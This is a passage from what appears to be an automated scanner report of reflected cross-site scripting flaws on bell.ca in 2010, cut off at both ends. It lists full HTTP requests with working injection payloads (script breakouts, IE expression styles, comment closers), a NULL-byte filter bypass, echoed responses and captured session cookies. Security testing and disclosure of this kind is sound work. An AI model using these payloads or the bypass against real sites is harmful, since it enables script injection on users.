s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:16:36 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 85698

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAV_1 -->


<!-- ABValue: true -->


   <html x
...[SNIP]...
<!-- LP trace code
Page Label: PrsMyAccts_PwdReset6c706-->6bfb95f1ef1
JSP URL: /mybell/resources/headers/newBellHeader.jsp
end LP trace code -->
...[SNIP]...

2.354. https://www.bell.ca/mybell/security.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /mybell/security.portal

Issue detail

The value of the _pageLabel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14590"%20style%3dx%3aexpression(alert(1))%2075855b6a473 was submitted in the _pageLabel parameter. This input was echoed as 14590" style=x:expression(alert(1)) 75855b6a473 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /mybell/security.portal?_nfpb=true&_windowLabel=portlet_PasswordReset_1&portlet_PasswordReset_1_actionOverride=%2Fportlets%2Foci%2Fpasswordmgmt%2Fpasswordreset%2FshowEmailForm&_pageLabel=PrsMyAccts_PwdReset14590"%20style%3dx%3aexpression(alert(1))%2075855b6a473 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:16:18 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 85972

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAV_1 -->


<!-- ABValue: true -->


   <html x
...[SNIP]...
<a name="languageToggle" id="languageToggle" href="https://www.bell.ca/mybell/PrsMyAccts_PwdReset14590" style=x:expression(alert(1)) 75855b6a473.page?language=fr&region=PE&languageToggle=true&_windowLabel=portlet_PasswordReset_1">
...[SNIP]...

2.355. https://www.bell.ca/shopping/common.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://www.bell.ca
Path:   /shopping/common.portal

Issue detail

The value of the _pageLabel request parameter is copied into an HTML comment. The payload 7e8b6-->8d8adf0e275 was submitted in the _pageLabel parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/common.portal?_nfpb=true&_windowLabel=OrderingController_1&OrderingController_1_actionOverride=%2Fportlets%2Fpersonal%2Fordering%2Fcheckout&_pageLabel=PrsShpCrt_Landing7e8b6-->8d8adf0e275 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:21:24 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 50338


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<!-- LP trace code
Page Label: PrsShpCrt_Landing7e8b6-->8d8adf0e275
JSP URL: /shopping/portlets/personal/ordering/shoppingcart.jsp
end LP trace code -->
...[SNIP]...

2.356. https://www.bell.ca/shopping/common.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/common.portal

Issue detail

The value of the _pageLabel request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f0178"%3balert(1)//17c5197a6de was submitted in the _pageLabel parameter. This input was echoed as f0178";alert(1)//17c5197a6de in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/common.portal?_nfpb=true&_windowLabel=OrderingController_1&OrderingController_1_actionOverride=%2Fportlets%2Fpersonal%2Fordering%2Fcheckout&_pageLabel=f0178"%3balert(1)//17c5197a6de HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:21:23 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 49998


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<![CDATA[ */
   s_oPGN="f0178";alert(1)//17c5197a6de";
   s_oPTE="true";
   s_oLNG="en";
   s_oPRV="pe";
   s_oSIN="QC_DC3CAV_1";
   s_oSS1="";
   s_oSS2="";
   s_oSS3="";
   s_oLGS="false";
   s_oCGN="site publisher";
   s_oCVR="10030501";
   s_oSID="vJn2MtqJhp3r
...[SNIP]...

2.357. https://www.bell.ca/shopping/common.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/common.portal

Issue detail

The value of the _pageLabel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ad48"%20style%3dx%3aexpression(alert(1))%2083eebb93d67 was submitted in the _pageLabel parameter. This input was echoed as 1ad48" style=x:expression(alert(1)) 83eebb93d67 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /shopping/common.portal?_nfpb=true&_windowLabel=OrderingController_1&OrderingController_1_actionOverride=%2Fportlets%2Fpersonal%2Fordering%2Fcheckout&_pageLabel=PrsShpCrt_Landing1ad48"%20style%3dx%3aexpression(alert(1))%2083eebb93d67 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:21:20 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 50821


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<a href="https://www.bell.ca/shopping/PrsShpCrt_Landing1ad48" style=x:expression(alert(1)) 83eebb93d67.page?language=fr&amp;region=PE&amp;languageToggle=true&amp;_windowLabel=OrderingController_1" title="Consulter cette page en&nbsp;">
...[SNIP]...

2.358. https://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [lang parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/personal/storeLocator/slmap.jsp

Issue detail

The value of the lang request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3d88"><script>alert(1)</script>ca0fde37949 was submitted in the lang parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /shopping/popups/personal/storeLocator/slmap.jsp?lang=enf3d88"><script>alert(1)</script>ca0fde37949 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:39:28 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=K4ryMssQTyJP21TtvRx178vWG9dLnhWtnJLFsGPT2QYFq3d96wXQ!-765054306; domain=.bell.ca; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=enf3d88"><script>alert(1)</script>ca0fde37949; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:53:35 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 25189


lang = "en";

<script type="text/javascript">
<!--
window.location.href='http://www.bell.ca/support/PrsCSrvGnl_security_informati
...[SNIP]...
<img src="/web/common/enf3d88"><script>alert(1)</script>ca0fde37949/all_regions/images/buttons/btn_search.gif"
alt="?bundle:storeLocator?"/>
...[SNIP]...

2.359. https://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [lang parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/personal/storeLocator/slmap.jsp

Issue detail

The value of the lang request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f9cf"%3balert(1)//700e2381bcf was submitted in the lang parameter. This input was echoed as 5f9cf";alert(1)//700e2381bcf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/popups/personal/storeLocator/slmap.jsp?lang=en5f9cf"%3balert(1)//700e2381bcf HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:39:30 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=yQvLMssRb4P1TXcysMxsnGrNrJFQpwvJwWQLq5T115TYv8PDC2M3!-765054306; domain=.bell.ca; path=/
Set-Cookie: gemini=region=ON|province=NS|myurl=CSQ|language=en5f9cf";alert(1)//700e2381bcf; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:53:36 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 24860


<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
   <meta name="keywords" content="?bundle:storeLocator?">
   <meta name="description"
...[SNIP]...

    SLConfig.maxStoresReturned = 24;
    SLConfig.maxSearchRadiusInKm = 250;
    //SLConfig.pushpinsPath = "/shopping/popups/personal/storeLocator/images/pins";
   
    var pageLocale = "en5f9cf";alert(1)//700e2381bcf_CA_ON";
   </script>
...[SNIP]...

2.360. https://www.bell.ca/support/PrsCSrvGnl_ContactUs.page [pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /support/PrsCSrvGnl_ContactUs.page

Issue detail

The value of the pageLabel request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fadee'%3balert(1)//3d8ae2cb503 was submitted in the pageLabel parameter. This input was echoed as fadee';alert(1)//3d8ae2cb503 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /support/PrsCSrvGnl_ContactUs.page?&content=/portlets/personal/cust_care/contact_us/contact_us.jsp&metaKey=PrsCSrvGnl_Content&languageToggle=true&language=en&regionToggle=true&region=ON&pageLabel=Internetfadee'%3balert(1)//3d8ae2cb503&dashboardLogin=true HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:22:30 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:36:37 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:36:37 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:36:37 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:36:37 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:36:37 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 18:36:37 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 170491


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<script type="text/javascript">
openDefaultPage(this,'Internetfadee';alert(1)//3d8ae2cb503');
</script>
...[SNIP]...

2.361. https://www.bell.ca/support/PrsCSrvGnl_FAQ_Detail.page [FAQ_ID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /support/PrsCSrvGnl_FAQ_Detail.page

Issue detail

The value of the FAQ_ID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d9665"%3balert(1)//10c0cfef411 was submitted in the FAQ_ID parameter. This input was echoed as d9665";alert(1)//10c0cfef411 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /support/PrsCSrvGnl_FAQ_Detail.page?FAQ_ID=1622d9665"%3balert(1)//10c0cfef411 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:20:21 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 75543


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<![CDATA[ */
setPrevDefinedOmniVars();
getREQueryKeys();

s.channel="FAQ";

s.prop10=(typeof s_pageName!="undefined"?s_pageName:"nb:c:cust_care:faq:details:faq_detail:FAQID1622d9665";alert(1)//10c0cfef411");


s.prop19="en";
s.prop20="pe";
s.prop21="en-pe";
s.prop30="Omnitrack.jsp";
s.prop44="";
s.eVar44="";
if(typeof s_tab=="undefined"){
s.pageName=s.prop1
...[SNIP]...

2.362. https://www.bell.ca/support/internet.portal [_pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://www.bell.ca
Path:   /support/internet.portal

Issue detail

The value of the _pageLabel request parameter is copied into an HTML comment. The payload c3299-->1db487dc2d3 was submitted in the _pageLabel parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /support/internet.portal?_nfpb=true&PrsCSrvInt_ContactUs_Eform_1_actionOverride=%2Fportlets%2Fpersonal%2Finternet%2Feforms%2Fcontactus%2Frestart&_windowLabel=PrsCSrvInt_ContactUs_Eform_1&_pageLabel=PrsCSrvInt_CtUs_Eformc3299-->1db487dc2d3 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
